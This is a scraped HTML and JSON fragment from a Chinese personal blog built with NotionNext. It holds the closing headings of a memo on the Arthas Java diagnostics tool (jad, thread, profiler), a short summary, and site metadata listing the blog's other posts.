01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">jad</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-72c01b351a16463085170ef7f56a4958"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fa9abc042-0739-4a92-ba55-afaee3c4c751%2FUntitled.png?table=block&amp;id=72c01b35-1a16-4630-8517-0ef7f56a4958&amp;t=72c01b35-1a16-4630-8517-0ef7f56a4958" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-39acdf62e65e4362a2ff92efffb2eea9" data-id="39acdf62e65e4362a2ff92efffb2eea9"><span><div id="39acdf62e65e4362a2ff92efffb2eea9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#39acdf62e65e4362a2ff92efffb2eea9" title="thread"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">thread</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-6ba8ddd54df34bf4a8c23154d9404a97" data-id="6ba8ddd54df34bf4a8c23154d9404a97"><span><div id="6ba8ddd54df34bf4a8c23154d9404a97" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6ba8ddd54df34bf4a8c23154d9404a97" title="profiler
 "><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title"><b><b>profiler</b></b>
 </span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-23e941c9ce064f1baf066bccec2d3ea4"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F09a367be-1cfb-4d2f-9052-7e0f3016a150%2FUntitled.png?table=block&amp;id=23e941c9-ce06-4f1b-af06-6bccec2d3ea4&amp;t=23e941c9-ce06-4f1b-af06-6bccec2d3ea4" alt="notion image" loading="lazy" decoding="async"/></div></figure><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-bb1503ec72a149b0bfc05514d3749738" data-id="bb1503ec72a149b0bfc05514d3749738"><span><div id="bb1503ec72a149b0bfc05514d3749738" class="notion-header-anchor"></div><a class="notion-hash-link" href="#bb1503ec72a149b0bfc05514d3749738" title="总结"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">总结</span></span></h2><ul class="notion-list notion-list-disc notion-block-5d496523f3ac4297ab9d49946de020e0"><li>arthas热部署很好用,注意限制</li></ul><ul class="notion-list notion-list-disc notion-block-abe817d34a914f84aed1113eab9e33ea"><li>介绍了常见的几个cmd</li></ul><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-b7688c06839f475f99d8092a08b7e21d" data-id="b7688c06839f475f99d8092a08b7e21d"><span><div id="b7688c06839f475f99d8092a08b7e21d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b7688c06839f475f99d8092a08b7e21d" title="写到最后"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">写到最后</span></span></h2><div class="notion-row notion-block-7de5b0ae9bc14cad9f7b8b96e8cfea05"><div class="notion-column notion-block-08b983f64c2944d69bbcd56cde7ee3df" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.25)"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ee0f9627898a4467a5a06620126e3153"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fe74a26b9-10d9-49f3-9ea7-bcb2a1438bd7%2Ffavicon.png?table=block&amp;id=ee0f9627-898a-4467-a5a0-6620126e3153&amp;t=ee0f9627-898a-4467-a5a0-6620126e3153" alt="notion image" loading="lazy" decoding="async"/></div></figure></div><div class="notion-spacer"></div><div class="notion-column notion-block-f5b5d7fa1ce34d6dbcbb1c8367f296c6" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.34601449275362306)"><div class="notion-text notion-block-ed7bb86ae4684bbc94c0d66e88cabe84"><em>
@@ -11,4 +11,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"e013510c-b3a7-4907-b4cd-118b118d30db":{"value":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","version":712,"type":"page","content":["49660a6b-8b10-4449-a089-e36bd6de154f","4167aad0-7638-4d68-8664-3c483389677f","75842799-a053-4659-ab50-17678231e4ff","6216de61-29ce-4cc1-9319-ab02317fa14a","2fc39b5e-add9-416d-81e6-0f08e1c4e7cd","ece49cba-6c96-4588-b464-5c0c71b286f3","b3c41a84-43ee-4d6b-8bbd-091ff384fd59","f4ac19d7-d241-4ba2-94cb-255c510c8bef","2a69447b-8578-439b-8fff-9f1bcd702af0","afd11af0-cd3a-42fb-9f6d-c63e50e0c935","eb365015-594d-4556-b962-17bd7c09aca4","3aa2a959-6acc-470e-a328-06cfb782b7da","1abb1800-907c-407f-8c68-4870699ce5a3","c810b651-629c-494d-951f-1c49c6d3e328","57d4ad7c-5cc1-404b-887f-864994a1e2c7","aa247981-241f-4ca5-b749-229ce2fcf44e","e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff","0bce87bd-e041-4e99-86df-656bc5692349","db0307cc-b039-40e6-a680-7bfc07afaa67","e9e6045c-97a6-4a9b-959f-f04f7019f248","00bc6d41-7356-48b6-a443-e145bb33d169","4fcb29e1-90ad-4736-b951-b048e8b490f4","c045edef-158c-4c43-a867-45748cdf2ed0","3c034094-e024-42f9-818d-fd49579543ab","3991bb35-efa4-4722-a269-9f80ad3e5a89","46c4c01d-bf1b-4ce0-8eda-5c0639b8453f","91a2fac9-d67e-4eb6-8f80-ce12aa78557c","5e155fc2-041f-4ac4-9863-f257c6ae8d99","a70ea93f-49bc-44eb-9af4-58311b9e22a0","5b9a3023-17e9-4d71-9a01-b90ada81a321","309ea1f2-8e10-48f9-8990-6192b5ecf2dc","28f29155-ccfb-4e5c-a590-530707efde4e","72c01b35-1a16-4630-8517-0ef7f56a4958","39acdf62-e65e-4362-a2ff-92efffb2eea9","110b2916-df77-4445-a6f5-5a7f700f14e0","6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97","713edbb3-17cd-4bb8-91c5-4a500b3a8994","23e941c9-ce06-4f1b-af06-6bccec2d3ea4","bb1503ec-72a1-49b0-bfc0-5514d3749738","5d496523-f3ac-4297-ab9d-49946de020e0","abe817d3-4a91-4f84-aed1-113eab9e33ea","b7688c06-839f-475f-99d8-092a08b7e21d","7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","27f5381c-4c90-4bf9-ad1d-be7f972dfced"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1710900516985,"last_edited_time":1710910330213,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"49660a6b-8b10-4449-a089-e36bd6de154f":{"value":{"id":"49660a6b-8b10-4449-a089-e36bd6de154f","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4